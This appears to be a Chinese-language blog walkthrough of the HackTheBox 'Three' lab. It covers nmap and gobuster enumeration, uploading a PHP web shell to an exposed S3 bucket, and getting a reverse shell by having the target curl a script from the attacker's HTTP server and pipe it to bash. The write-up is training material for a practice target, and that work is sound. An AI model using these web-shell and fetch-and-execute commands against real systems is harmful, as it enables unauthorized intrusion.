lab-hackthebox-Three-rce
首先连接到openvpn,然后进行nmap扫描
1 | sudo nmap -sS -n -p- --open --min-rate=5000 10.129.253.132 |
我们在80端口界面上看到
我们应该将thetoppers.hub添加到/etc/hosts里面去,因为/etc/hosts
是在DNS查询之前先查询的用来将域名解析为ip的文件。
可以用如下命令添加
1 | echo "10.129.253.132 thetoppers.htb" | sudu tee -a /etc/hosts |
之后就可以直接域名访问了。然后我们进行子域名扫描,这里采用gobuster爆破
1 | gobuster vhost -w seclists子域名字典(github上有) -u http://thetoppers.htb |
之后我们可以看到s3.thetoppers.htb显示404,这代表存在这样的服务器,只不过内容不对而已。我们要访问s3的内容,所以也要手动添加解析
1 | echo "10.129.253.132 s3.thetoppers.htb" | sudo tee -a /etc/hosts |
这里的s3是一个云存储服务,运行在Amazon服务器上,我们需要awscli来与其交互
1 | sudo apt install awscli |
之后我们访问靶机上的S3服务
1 | aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb |
可以看到服务目录列表。
我们认为这就是根目录,所以可以试一下文件上传和远程执行漏洞,因为后端语言是PHP。
所以构造一个shell.php
1 | echo '<?php system($_GET["cmd"]);?>' > shell.php |
然后进行上传,注意如果用的是sudo登陆的s3服务,那么上传也要用sudo。
1 | aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb |
上传成功后执行尝试get传参
1 | ?cmd=id |
发现有回显。
于是我们反弹shell。
构造一个回弹shell脚本shell.sh
1 | !/bin/bash |
也就是建立tcp连接,把我们的输入全定向到连接里面去,也就是传送到我们的主机上。
在主机上,开启监听
1 | nc -nvlp 1337 |
之后在主机上开启一个http服务
1 | python -m http.server 8000 |
然后在目标url上传参执行回连
1 | http://thetoppers.htb/shell.php?cmd=curl%20<our_ip>:8000/shell.sh|bash |
这里也就是我们用curl访问到shell.sh文件的内容,并把这个内容pipe to bash进行执行。
在8000就可以看到我们对文件shell.sh的访问,(这种简单的起服务器的方法要比开一个nginx服务快捷,但是注意,要把shell.sh放在开起服务器的目录!)
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Comment